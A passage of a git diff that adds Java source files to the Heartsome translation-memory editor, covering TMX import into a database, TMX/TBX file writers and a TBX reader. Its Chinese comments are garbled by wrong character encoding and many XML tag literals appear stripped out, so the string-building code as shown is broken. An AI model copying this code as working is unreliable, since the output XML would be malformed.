Exception(Messages.getString("converter.tmx2hstm.error2")); + } + SystemDBOperator sysDbOperateByMetaData = DatabaseService.getSysDbOperateByMetaData(metaData); + + try { + sysDbOperateByMetaData.createDB(); + } catch (SQLException e) { + throw new Exception(Messages.getString("converter.tmx2hstm.error3")); + } + + if (tmxFile.startsWith("TRUE")) {// 包å«å±žæ€§ + flushAttr = true; + tmxFile = tmxFile.substring("TRUE".length()); + } + + try { + tmxReader = new TmxReader(new File(tmxFile)); + } catch (TmxReadException e) { + throw new Exception(Messages.getString("converter.tmx2hstm.error4")); + } + + int total = tmxReader.getTotalTu()/SIZE; + monitor.beginTask("", total==0?1:total); + TmxTU temp; + while (true) { + temp = tmxReader.read().getTu(); + if (temp == null) { + break; + } + if (cache.size() != SIZE) { + cache.add(temp); + continue; + } + try { + if(monitor.isCanceled()){ + return; + } + flushTu2DB(cache); + monitor.worked(1); + } catch (SQLException e) { + throw new Exception(Messages.getString("converter.tmx2hstm.error5")); + } + } + try { + if(monitor.isCanceled()){ + return; + } + flushTu2DB(cache); + monitor.done(); + } catch (SQLException e) { + throw new Exception(Messages.getString("converter.tmx2hstm.error5")); + } + } catch (Exception e) { + throw e; + } finally { + releaseResource(); + monitor.done(); + } + + } + + /** + * 翻译å•å…ƒå€¼å­˜å…¥æ•°æ®åº“ + * @param cache2 + * ; + * @throws SQLException + */ + private void flushTu2DB(List cache) throws Exception { + if (null == cache || cache.isEmpty()) { + return; + } + facade.beginTransaction(); + for (TmxTU tu : cache) { + // TODO :处ç†TUçš„æŸäº›å€¼ + resetTU(tu); + try { + facade.insertTu(tu); + } catch (SQLException e) { + facade.rollback(); + } + } + facade.commit(); + cache.clear(); + + } + + public void releaseResource() { + try { + facade.end(); + } catch (SQLException e) { + LOGGER.error("", e); + } + } + + public DBOperator getHstmDbOperator(MetaData metaData) { + return DatabaseService.getDBOperator(metaData); + } + + /** + * 去掉TU属性值 + * @param tu + * ; + */ + public void resetTU(TmxTU tu) { + if (null == tu) { + return; + } + if (!flushAttr) { + tu.setAttributes(null); + tu.setChangeDate(null); + tu.setChangeUser(null); + tu.setCreationDate(null); + tu.setCreationTool(null); + tu.setCreationToolVersion(null); + tu.setCreationUser(null); + tu.setNotes(null); + tu.setProps(null); + } + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/tbx/AbstractWriter.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/tbx/AbstractWriter.java new file mode 100644 index 0000000..d0ba318 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/tbx/AbstractWriter.java @@ -0,0 +1,156 @@ +/** + * AbstractWriter.java + * + * Version information : + * + * Date:2013-7-1 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.converter.tbx; + +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.util.List; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import net.heartsome.cat.common.bean.TmxTU; + +/** + * 写入文件的抽象类 + * @author yule + * @version + * @since JDK1.6 + */ +public abstract class AbstractWriter { + /** + * æ–‡ä»¶è¾“å‡ºæµ + */ + protected FileOutputStream out; + /** + * 记录日志 + */ + private static final Logger LOGGER = LoggerFactory.getLogger(AbstractWriter.class); + + public AbstractWriter() { + + } + + public AbstractWriter(String filePath) throws FileNotFoundException { + out = new FileOutputStream(new File(filePath)); + } + + /** + * 得到写入文件的å‰åŠéƒ¨åˆ†ï¼Œè¯¥å†…容ä¸ä»…仅包å«
    内容 还有body的开始标签 + * @param srcLang + * :æºè¯­è¨€ + * @return ; + */ + protected abstract String getHeaderXml(String srcLang); + + /** + * 得到写入文件的结æŸå†…容 + * @return ; + */ + protected abstract String getEndXml(); + + /** + * 写一个TmxTU + * @param tu + * ; + */ + protected abstract void writeTmxTU(TmxTU tu); + + /** + * 全部内容以"UTF-8"ç¼–ç å†™å…¥æ–‡ä»¶ + * @param xmlString + * ; + */ + public void writeXmlString(String xmlString) { + try { + out.write(xmlString.getBytes(getWriterEnconding())); + } catch (UnsupportedEncodingException e) { + LOGGER.error("", e); + } catch (IOException e) { + LOGGER.error("", e); + } + } + + /** + * 将缓存的内容写入文件 + * @param cache + * ; + */ + public void writeBody(List cache) { + for (TmxTU tu : cache) { + writeTmxTU(tu); + } + flushContent(); + } + + /** + * 写入文件内容å‰éƒ¨åˆ†å†…容 + * @param srcLang + * ; + */ + public void writeHeader(String xmlContent) { + int length = xmlContent.length(); + if (length > 2048) { + int beginIndex = 0; + int endIndex = 2048; + while (endIndex <= xmlContent.length()) { + writeXmlString(xmlContent.substring(beginIndex, endIndex)); + flushContent(); + beginIndex = endIndex; + endIndex = endIndex + 2048; + } + if (endIndex > length) { + writeXmlString(xmlContent.substring(beginIndex, length)); + flushContent(); + } + } else { + writeXmlString(xmlContent); + flushContent(); + } + } + + /** + * 写入文件的结æŸéƒ¨åˆ† ; + */ + public void writeEnd() { + writeXmlString(getEndXml()); + flushContent(); + } + + /** + * 刷新输出æµçš„缓存 ; + */ + public void flushContent() { + try { + out.flush(); + } catch (IOException e) { + LOGGER.error("", e); + } + } + + /** + * å…³é—­è¾“å‡ºæµ ; + */ + public void closeOutStream() { + try { + out.close(); + } catch (IOException e) { + LOGGER.error("", e); + } + } + + protected abstract String getWriterEnconding(); +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/tbx/AppendTmxWriter.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/tbx/AppendTmxWriter.java new file mode 100644 index 0000000..ad67ea8 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/tbx/AppendTmxWriter.java @@ -0,0 +1,196 @@ +/** + * AppendTmxWriter.java + * + * Version information : + * + * Date:2013-7-4 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.converter.tbx; + +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.nio.channels.FileChannel; +import java.text.MessageFormat; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import net.heartsome.cat.common.util.FileEncodingDetector; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import com.ximpleware.NavException; +import com.ximpleware.ParseException; +import com.ximpleware.VTDNav; + +/** + * 追加到以有TMX文件的åŽé¢çš„Writer + * @author yule + * @version + * @since JDK1.6 + */ +public class AppendTmxWriter extends TmxWriter { + + private static Logger LOGGER = LoggerFactory.getLogger(AppendTmxWriter.class); + + private VTDUtils vtdUtil = null; + /** + * 原始TMX文件的å‰éƒ¨åˆ† + */ + private String tmxBegainString; + /** + * 原始TMX文件的åŽéƒ¨åˆ† + */ + private String tmxEndString; + + private long offset = 0l; + + private String srcLang; + + private boolean istruncateFile; + + private String appendTmxEnconding; + + /** + * @param filePath + * :tmxfilePath + * @throws IOException + * @throws ParseException + */ + public AppendTmxWriter(String filePath) throws Exception { + vtdUtil = new VTDUtils(); + File f = new File(filePath); + vtdUtil.parseFile(f, false); + appendTmxEnconding =FileEncodingDetector.detectFileEncoding(f); + setSrcLang(); + setTMXString(); + try { + out = new FileOutputStream(new File(filePath), true); + } catch (FileNotFoundException e) { + LOGGER.error(MessageFormat.format("R:{0}", filePath + "not exist")); + return; + } + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.te.core.converter.tbx.TmxWriter#getHeaderXml(java.lang.String) + */ + @Override + protected String getHeaderXml(String srcLang) { + return tmxBegainString; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.te.core.converter.tbx.TmxWriter#getEndXml() + */ + @Override + protected String getEndXml() { + return istruncateFile ? tmxEndString : ""; + } + + /** + * 得到Tmxçš„å‰éƒ¨åˆ†å†…容 + * @return ; + */ + private void setTMXString() { + if (-1 != vtdUtil.pilot("/tmx/body/tu[last()]")) { + try { + VTDNav vn = vtdUtil.getVTDNav(); + long l; + l = vn.getElementFragment(); + int os = (int) l + (int) (l >> 32); + offset = os; + int len = vn.getXML().length() - os; + tmxBegainString = "";// vn.toRawString(0, os); + tmxEndString = vn.toRawString(os, len); + + } catch (NavException e) { + LOGGER.error(" R:Wrong XML format", e); + e.printStackTrace(); + } + + } + + } + + private void truncateFile() { + FileChannel channel = out.getChannel(); + try { + channel.truncate(offset); + } catch (IOException e) { + LOGGER.error("R:truncate file failed", e); + } + } + + public static void main(String[] args) throws Exception { + AppendTmxWriter writer = new AppendTmxWriter("e:/bigTmxTest/3.xml.tmx"); + System.out.println(writer); + System.out.println(writer.getEndXml()); + } + + /** @return the srcLang */ + public String getSrcLang() { + return srcLang; + } + + /** + * @param srcLang + * the srcLang to set + */ + private void setSrcLang() { + if (-1 != vtdUtil.pilot("/tmx/header")) { + try { + VTDNav vn = vtdUtil.getVTDNav(); + + int srcLangIndex = vn.getAttrVal("srclang"); + if (srcLangIndex != -1) { + this.srcLang = vn.toString(srcLangIndex).trim(); + } + } catch (NavException e) { + LOGGER.error("R: Wrong XML format", e); + e.printStackTrace(); + } + + } + + } + + public boolean canAppend(String tgtSrcLang) { + if (tgtSrcLang == null || null == getSrcLang()) { + return false; + } + if("*all*".equalsIgnoreCase(getSrcLang())){// 添加æºè¯­è¨€ä¸º all的时候 + return true; + } + if (tgtSrcLang.equalsIgnoreCase(getSrcLang())) { + return true; + } else { + return false; + } + } + + public void startAppend() { + truncateFile(); + istruncateFile = true; + vtdUtil.clear(); + } + /**添加追加内容与æºæ–‡ä»¶ä¸€è‡´çš„ç¼–ç  + * (non-Javadoc) + * @see net.heartsome.cat.te.core.converter.tbx.TmxWriter#getWriterEnconding() + */ + @Override + protected String getWriterEnconding() { + if(null == appendTmxEnconding ||appendTmxEnconding.isEmpty() ){ + return super.getWriterEnconding(); + } + return appendTmxEnconding; + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/tbx/Model2String.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/tbx/Model2String.java new file mode 100644 index 0000000..2c70259 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/tbx/Model2String.java @@ -0,0 +1,178 @@ +/** + * ConvertModel.java + * + * Version information : + * + * Date:2013-7-1 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.converter.tbx; + +import java.util.ArrayList; +import java.util.Calendar; +import java.util.HashMap; +import java.util.List; +import java.util.Locale; +import java.util.Map; +import java.util.Map.Entry; +import java.util.Set; +import java.util.UUID; + +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.bean.TmxTU; + +/** + * 该类的作用是: TmxTU对象转æ¢æˆXMLæ ¼å¼çš„字符串 + * @author yule + * @version + * @since JDK1.6 + */ +public class Model2String { + + /** + * å°†TmxTU转æ¢æˆTMXæ ¼å¼å­—XML字符串 + * @param tu + * :TmxTU对象 + * @param fullText + * :是å¦ä½¿ç”¨å®Œæ•´æ–‡æœ¬è¿˜æ˜¯çº¯æ–‡æœ¬ + * @return ; + */ + public static String TmxTU2TmxXmlString(TmxTU tu, boolean fullText,String attributeString) { + List segments = tu.getSegments(); + StringBuilder sb = new StringBuilder(); + sb.append("\n"); + if(attributeString != null && !attributeString.trim().isEmpty()){ + sb.append(attributeString); + } + List seg = new ArrayList(); + if(null !=tu.getSource() ){ + seg.add(tu.getSource()); + } + if (segments != null && !segments.isEmpty()) { + seg.addAll(segments); + } + for (int i = 0; i < seg.size(); i++) { + sb.append(getTUXmlString(seg.get(i), fullText)); + } + sb.append("\n"); + + return sb.toString(); + } + + /** + * å°†TmxTU转æ¢æˆTbxæ ¼å¼å­—XML字符串 + * @param tu + * :TmxTU对象 + * @param fullText + * :是å¦ä½¿ç”¨å®Œæ•´æ–‡æœ¬è¿˜æ˜¯çº¯æ–‡æœ¬ + * @return ; + */ + public static String TmxTu2TbxXMLString(TmxTU tu, boolean fullText) { + if(null == tu){ + return ""; + } + List segments = tu.getSegments(); + StringBuilder sb = new StringBuilder(); + sb.append("\n"); + List seg = new ArrayList(); + if(tu.getSource()!=null){ + seg.add(tu.getSource()); + } + if (segments != null && !segments.isEmpty()) { + seg.addAll(segments); + } + for (int i = 0; i < seg.size(); i++) { + sb.append(getLangSet(seg.get(i), getUUID() + "_" + i, fullText)); + } + sb.append("\n"); + + return sb.toString(); + } + + private static String getLangSet(TmxSegement seg, String id, boolean fullText) { + if (null == seg) { + return ""; + } + StringBuilder sb = new StringBuilder(); + sb.append("\n"); + sb.append("\n"); + if (fullText) { + sb.append("" + seg.getFullText() + "\n"); + } else { + sb.append("" + seg.getPureText() + "\n"); + } + sb.append("\n\n"); + return sb.toString(); + } + + private static String getTUXmlString(TmxSegement seg, boolean fullText) { + if (null == seg) { + return ""; + } + StringBuilder sb = new StringBuilder(); + sb.append("\n"); + sb.append(""); + if (fullText) { + sb.append(seg.getFullText()); + } else { + sb.append(seg.getPureText()); + } + sb.append("\n\n"); + return sb.toString(); + } + + public static String getUUID() { + return UUID.randomUUID().toString(); + // return String.valueOf(System.currentTimeMillis()); + } + + /** + * 获å–创建时间 + * @return ; + */ + public static String creationDate() { + Calendar calendar = Calendar.getInstance(Locale.US); + String sec = (calendar.get(Calendar.SECOND) < 10 ? "0" : "") //$NON-NLS-1$ //$NON-NLS-2$ + + calendar.get(Calendar.SECOND); + String min = (calendar.get(Calendar.MINUTE) < 10 ? "0" : "") //$NON-NLS-1$ //$NON-NLS-2$ + + calendar.get(Calendar.MINUTE); + String hour = (calendar.get(Calendar.HOUR_OF_DAY) < 10 ? "0" : "") //$NON-NLS-1$ //$NON-NLS-2$ + + calendar.get(Calendar.HOUR_OF_DAY); + String mday = (calendar.get(Calendar.DATE) < 10 ? "0" : "") //$NON-NLS-1$ //$NON-NLS-2$ + + calendar.get(Calendar.DATE); + String mon = (calendar.get(Calendar.MONTH) < 9 ? "0" : "") //$NON-NLS-1$ //$NON-NLS-2$ + + (calendar.get(Calendar.MONTH) + 1); + String longyear = "" + calendar.get(Calendar.YEAR); //$NON-NLS-1$ + + String date = longyear + mon + mday + "T" + hour + min + sec + "Z"; //$NON-NLS-1$ //$NON-NLS-2$ + return date; + } + + public static String getCustomArributeXML(Map attributes){ + if(attributes== null ||attributes.isEmpty()){ + return ""; + } + StringBuilder sb = new StringBuilder(); + Set> entrySet = attributes.entrySet(); + for(Entry entry :entrySet){ + sb.append(""); + sb.append(entry.getValue()); + sb.append("\n"); + } + return sb.toString(); + } + + public static void main(String[] args) { + Map attributes = new HashMap(); + attributes.put("a", "1"); + attributes.put("b", "2"); + System.out.println(getCustomArributeXML(attributes)); + + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/tbx/Tbx2Tmx.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/tbx/Tbx2Tmx.java new file mode 100644 index 0000000..64e7e35 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/tbx/Tbx2Tmx.java @@ -0,0 +1,193 @@ +/** + * Tbx2Tmx.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.core.converter.tbx; + +import java.io.File; +import java.io.FileNotFoundException; +import java.io.IOException; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +import net.heartsome.cat.common.bean.TmxHeader; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.te.core.bean.File2TmxConvertBean; +import net.heartsome.cat.te.core.bean.TmxTemplet; +import net.heartsome.cat.te.core.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * Tbx转æ¢æˆTMX + * @author yule + * @version + * @since JDK1.6 + */ +public class Tbx2Tmx extends net.heartsome.cat.te.core.converter.AbstractFile2Tmx { + /** + * 记录日志 + */ + private static final Logger LOGGER = LoggerFactory.getLogger(Tmx2Tbx.class); + /** + * TBX Reader + */ + private TbxReader tbxReader = null; + /** + * TMXTUçš„ç¼“å­˜å¤§å° + */ + private static final int cacheSzie = 500; + /** + * 缓存TMXtu + */ + private List cache = new ArrayList(cacheSzie); + + private String attributeString; + + public void doCovnerter(File2TmxConvertBean file2TmxBean, IProgressMonitor monitor) throws Exception { + tbxReader = new TbxReader(file2TmxBean.sourceFilePath); + + attributeString = Model2String.getCustomArributeXML(file2TmxBean.customeAttr); + + try { + tbxReader.start(); + } catch (Exception e) { + LOGGER.error("", e); + throw new Exception(Messages.getString("convert.tbx2tmx.parseTbxError")); + } + int total = tbxReader.getTotal() / cacheSzie; + monitor.beginTask("", total == 0 ? 1 : total); + AbstractWriter writer = getWriter(file2TmxBean); + if (writer instanceof TmxWriter) { + TmxWriter tmxWriter = (TmxWriter) writer; + tmxWriter.setAttibuteString(attributeString); + + } + writeNewTmx(writer, monitor); + } + + /** + * 将缓存内容写入到 文件中,并且清空缓存内容 + * @param cache + * @param tmxWriter + * ; + */ + private void writeTmxTU(List cache, AbstractWriter tmxWriter) { + if (cache.isEmpty()) { + return; + } + tmxWriter.writeBody(cache); + cache.clear(); + } + + /** + * 将所有内容写在文件中 + * @param path + * :文件路径 + * @param tmxWriter + * :写入文件的Writer + * @return ; + * @throws Exception + */ + public boolean writeNewTmx(AbstractWriter tmxWriter, IProgressMonitor monitor) throws Exception { + if (null == tmxWriter) { + return false; + } + try { + String xmlDecl = TmxTemplet.genertateTmxXmlDeclar(); + tmxWriter.writeXmlString(xmlDecl); + TmxHeader header = TmxTemplet.generateTmxHeader(tbxReader.getSrcLang(), "unknown", "sentence", + "Termbase Exchange", null, null, null); + tmxWriter.writeXmlString("\n"); + tmxWriter.writeHeader(TmxTemplet.header2Xml(header)); + tmxWriter.writeXmlString("\n"); + while (tbxReader.hasNext()) { + TmxTU[] tus = tbxReader.readNextTermEntry(); + if (cache.size() != cacheSzie) { + cache.addAll((Arrays.asList(tus))); + continue; + } + if (monitor.isCanceled()) { + return false; + } + writeTmxTU(cache, tmxWriter); + monitor.worked(1); + } + if (monitor.isCanceled()) { + return false; + } + writeTmxTU(cache, tmxWriter); + monitor.done(); + return true; + } catch (FileNotFoundException e) { + LOGGER.error("", e); + } catch (Exception e) { + LOGGER.error("读å–TermEntry错误", e); + throw new Exception(Messages.getString("convert.tbx2tmx.writeTmx.error")); + } finally { + tmxWriter.writeEnd(); + tmxWriter.closeOutStream(); + monitor.done(); + } + return false; + } + + /** + * 获å–正确的Writer + * @param file2TmxBean + * @return ; + * @throws Exception + */ + public AbstractWriter getWriter(File2TmxConvertBean file2TmxBean) throws Exception { + AbstractWriter tmxWriter = null; + if (file2TmxBean.newTmxFilePath != null && !file2TmxBean.newTmxFilePath.isEmpty()) { + File file = new File(file2TmxBean.newTmxFilePath); + if (!file.exists()) { + try { + file.createNewFile(); + } catch (IOException e) { + LOGGER.error("", e); + } + } + try { + tmxWriter = new TmxWriter(file2TmxBean.newTmxFilePath); + } catch (FileNotFoundException e) { + LOGGER.error("", e); + + } + } else if (file2TmxBean.appendExistTmxFilePath != null && !file2TmxBean.appendExistTmxFilePath.isEmpty()) { + try { + AppendTmxWriter tmxAppendWriter = new AppendTmxWriter(file2TmxBean.appendExistTmxFilePath); + if (tmxAppendWriter.canAppend(tbxReader.getSrcLang())) { + tmxAppendWriter.startAppend(); + tmxWriter = tmxAppendWriter; + } else { + throw new Exception("DIFF-SRC-LANG"); + } + } catch (FileNotFoundException e) { + LOGGER.error("", e); + } catch (Exception e) { + LOGGER.error("", e); + if ("DIFF-SRC-LANG".equals(e.getMessage())) { + throw new Exception(Messages.getString("converter.common.appendtmx.diffsrcLang.error")); + } + throw new Exception(Messages.getString("converter.common.appendtmx.wrongTmx")); + } + + } + return tmxWriter; + } + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/tbx/TbxReader.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/tbx/TbxReader.java new file mode 100644 index 0000000..81f4af9 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/tbx/TbxReader.java @@ -0,0 +1,329 @@ +/** + * TbxReader.java + * + * Version information : + * + * Date:2013-7-1 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.converter.tbx; + +import java.io.File; +import java.io.FileNotFoundException; +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.document.DocUtils; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import com.ximpleware.AutoPilot; +import com.ximpleware.NavException; +import com.ximpleware.ParseException; +import com.ximpleware.VTDNav; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * @author yule + * @version + * @since JDK1.6 + */ +public class TbxReader { + + /** + * tbx文件路径 + */ + private String filePath; + + private VTDUtils vtdUtil; + + private AutoPilot tuAp; + + /** + * tbxçš„æºè¯­è¨€ + */ + private String srcLang; + + private VTDNav vn; + /** + * 当å‰termEntryçš„ä½ç½® + */ + private int currentPostion = 0; + /** + * termEntry的总个数 + */ + private int termEntryCount; + + public String getSrcLang() { + return srcLang; + } + + public TbxReader(String filePath) { + this.filePath = filePath; + } + + /** + * 读å–下一个TermEntry + * @return + * @throws Exception + * ; + */ + public TmxTU[] readNextTermEntry() throws Exception { + if (tuAp.evalXPath() != -1) { + ++currentPostion; + return readNext(); + } + return new TmxTU[0]; + } + + /** + * 是å¦åˆ°è¾¾æ–‡ä»¶çš„ç»“æŸ + * @return ; + */ + public boolean hasNext() { + return currentPostion != termEntryCount; + } + + /** + * 调用readerå‰ï¼Œåº”该先åˆå§‹åŒ–ç›¸å…³æ•°æ® + * @return + * @throws NavException + * @throws ParseException + * @throws FileNotFoundException + * @throws IOException + * @throws XPathParseException + * @throws XPathEvalException + * ; + */ + boolean start() throws Exception { + vtdUtil = new VTDUtils(); + File file = new File(filePath); + vtdUtil.parseFile(file, false); + if (validate()) { + vn = vtdUtil.getVTDNav(); + int pilot = vtdUtil.pilot("/martif"); + if (-1 != pilot) { + int attrIndex = vn.getAttrVal("xml:lang"); + if (-1 != attrIndex) { + setSrcLang(vn.toString(attrIndex)); + setTermEntryCount(); + } + } + tuAp = new AutoPilot(vn); + tuAp.selectXPath("/martif/text/body/termEntry"); + return true; + } + return false; + } + + /** + * 验è¯TBX的文件格å¼æ˜¯å¦æ­£ç¡® + * @return ; + */ + private boolean validate() { + // has header + if (-1 == vtdUtil.pilot("/martif/martifHeader")) { + return false; + } + ; + // has body + if (-1 == vtdUtil.pilot("/martif/text/body/termEntry/langSet//term")) { + return false; + } + + return true; + } + + /** + * 设置æºè¯­è¨€ + * @param srcLang + * ; + */ + private void setSrcLang(String srcLang) { + this.srcLang = srcLang; + } + + /** + * 设置termEntry的总个数 + * @throws XPathParseException + * @throws XPathEvalException + * @throws NavException + * ; + */ + private void setTermEntryCount() throws XPathParseException, XPathEvalException, NavException { + tuAp = new AutoPilot(vn); + tuAp.selectXPath("/martif/text/body/termEntry"); + while (tuAp.evalXPath() != -1) { + termEntryCount++; + } + + } + + /** + * 获得/langset/tig/termæ ¼å¼çš„TmxTU,这个格å¼ä¸€èˆ¬åªå¯¹åº”一个TmxTU + * @return + * @throws Exception + * ; + */ + private TmxTU[] readTuByTig() throws Exception { + vn.push(); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("./langSet"); + AutoPilot childAp = null; + TmxTU[] tus = null; + String tempLang = null; + TmxTU tu = new TmxTU(); + VTDUtils vu = new VTDUtils(vn); + while (ap.evalXPath() != -1) { + tempLang = getAttValue("xml:lang"); + childAp = new AutoPilot(vn); + childAp.selectXPath("./tig/term"); + TmxSegement seg = null; + vn.push(); + while (childAp.evalXPath() != -1) { + seg = new TmxSegement(); + seg.setFullText(vtdUtil.getElementContent()); + seg.setPureText(DocUtils.getTmxTbxPureText(vu)); + seg.setLangCode(tempLang); + } + vn.pop(); + if(null != seg){ + tu.appendSegement(seg); + } + } + tus = new TmxTU[1]; + tus[0] = tu; + vn.pop(); + return tus; + } + + /** + * 读å–两ç§æ ¼å¼çš„TmxTU + * @return + * @throws Exception + * ; + */ + private TmxTU[] readNext() throws Exception { + TmxTU[] rs = null; + rs = readTuByTig(); + if (rs != null && rs.length != 0) { + return rs; + } + return readTuByNtig(); + } + + /** + * å°†xpath:/langset/ntig/termGrp/term下é¢çš„术语解æžæˆTmxTU
    + * 这个格å¼çš„术语文件,å¯èƒ½è¿”回多个TmxTU
